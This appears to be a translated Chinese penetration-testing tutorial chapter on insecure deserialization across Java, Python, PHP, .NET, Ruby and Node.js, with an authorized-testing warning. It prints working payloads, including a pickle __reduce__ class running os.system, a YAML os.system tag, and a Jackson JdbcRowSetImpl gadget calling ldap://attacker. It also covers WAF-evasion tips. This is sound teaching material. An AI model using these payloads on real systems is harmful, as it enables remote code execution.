第 5 章 · 06 不安全反序列化 本节摘要:不安全反序列化把攻击者控制的字节流或结构化 blob 交给语言原生的 unmarshal 函数,经魔术方法与 gadget 链实现远程代码执行、认证绕过与逻辑篡改。本节讲透跨六大语言(Java/Python/PHP/.NET/Ruby/Node.js)的攻击面、魔术字节指纹、各语言的 gadget 链与工具、签名 blob 绕过、二阶反序列化、绕过技巧与验证方法。原则是:测试任何接受序列化对象、session blob 或不透明二进制 token 的端点。 内容来源:原项目知识包 ,汉化并套用体系化模板。 ⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。
本节摘要:不安全反序列化把攻击者控制的字节流或结构化 blob 交给语言原生的 unmarshal 函数,经魔术方法与 gadget 链实现远程代码执行、认证绕过与逻辑篡改。本节讲透跨六大语言(Java/Python/PHP/.NET/Ruby/Node.js)的攻击面、魔术字节指纹、各语言的 gadget 链与工具、签名 blob 绕过、二阶反序列化、绕过技巧与验证方法。原则是:测试任何接受序列化对象、session blob 或不透明二进制 token 的端点。
内容来源:原项目知识包
strix/skills/vulnerabilities/insecure_deserialization.md,汉化并套用体系化模板。
⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。
阅读完本节,你应当能够:
ac ed 00 05、PHP O:、.NET 00 01 00 00 00)。pickle/yaml.load)、PHP(unserialize/Phar)、.NET(BinaryFormatter/ViewState)各自的 gadget 链与工具。格式:
pickle、yaml.load(不安全)、marshal、shelveunserialize()、Phar 反序列化BinaryFormatter、Json.NET TypeNameHandling、ViewStateMarshal.load、YAML.loadnode-serialize、unserialize.js(较少见;merge 漏洞见原型污染)输入位置:
data、state、object、base64 blob)💡 核心心法:任何「不透明的 base64/二进制 blob」到达 unmarshal 的位置都是嫌疑点。先用魔术字节判断格式,再选对应语言的 gadget 链。
base64 blob 的起始魔术字节:
ac ed 00 05(base64 十六进制 rO0)O:、a:、s: 前缀00 01 00 00 00 ff ff ff ff 开头Content-Type 含二进制或自定义序列化;框架指示(Java 的 Spring/Struts/JSF、PHP 的 Symfony session)。
代码中存在以下调用即高危:
pickle.loads unserialize( ObjectInputStream BinaryFormatter yaml.load readObject( TypeNameHandling Marshal.load
gadget 链:Commons Collections、Commons BeanUtils、Spring、Groovy、Rome、JDK-only 链(因 classpath 而异)。
工具:ysoserial(仅授权测试),按 classpath 手动选链。
测试流程:
Jackson / JSON 类型:
["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]
当 enableDefaultTyping 或 @JsonTypeInfo 允许攻击者选择类型时。
pickle 按设计在 unpickling 时执行任意代码:
import pickle, os, base64 class Exploit: def __reduce__(self): return (os.system, ('id',)) # base64 编码 pickle.dumps(Exploit()) 后作为 cookie/参数发送
YAML:
!!python/object/apply:os.system ['id']
当用 yaml.load 而非 yaml.safe_load 时。
对象注入:魔术方法 __wakeup、__destruct、__toString、__call;经框架类(Laravel、Symfony、WordPress 插件)的 POP 链。
Phar 反序列化:上传或引用 phar:// 包装器,在文件操作时触发元数据反序列化。
BinaryFormatter / LosFormatter:对不受信输入永不安全;已知 gadget 链(ysoserial.net)实现完整 RCE。
Json.NET:
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}
当 TypeNameHandling != None 时。
ViewState:MAC 禁用或弱机器密钥 → 伪造反序列化的 view state。
Marshal.load 处理用户输入 → Rails/Devise 各版本中的 gadget 链(上下文相关)。
签名 blob 绕过:若 HMAC/签名用弱密钥或算法混淆,伪造序列化 payload;剥掉签名测未签名代码路径;适用时对 MAC 做长度扩展(旧的自定义方案)。
二阶反序列化:把序列化 blob 存进 profile/import;在管理员导出、缓存预热或批处理作业时触发。
压缩包装:Gzip/base64 嵌套编码,绕过简单 WAF 检查。
session、session_backup、state)💡 绕过的本质:反序列化的绕过围绕「找到未净化的路径」——签名只验主参数时,试备份参数;WAF 只检一种编码时,换嵌套编码;同一 session 多处反序列化时,找未签名的那个。
确认一个不安全反序列化真实存在的稳妥步骤:
常见误报:
pickle/Marshal;JSON 解析成 dict 无对象实例化⚠️ 不安全反序列化几乎总是严重——它直接给攻击者「在应用进程里执行任意代码」的能力。Java 栈因 gadget 库丰富(CommonsCollections 等)尤其危险;即便有签名,弱密钥也能被爆破(如 Java 的
rememberMe密钥)。
ac ed 00 05(base64 rO0)、PHP O:/a:/s:、.NET 00 01 00 00 00 ff ff ff ff。__reduce__ + !!python/object/apply)、PHP(魔术方法 POP 链 + phpggc + Phar)、.NET(ysoserial.net + ViewState MAC)。session_backup)、位置切换、类型混淆、Unicode 走私;签名 blob 弱密钥可爆破时直接伪造。下一节,我们看 HTTP 请求走私——当前端代理与后端服务器对「一个 HTTP 请求在哪里结束」意见不一致时,攻击者可把隐藏请求前缀塞进后端 socket。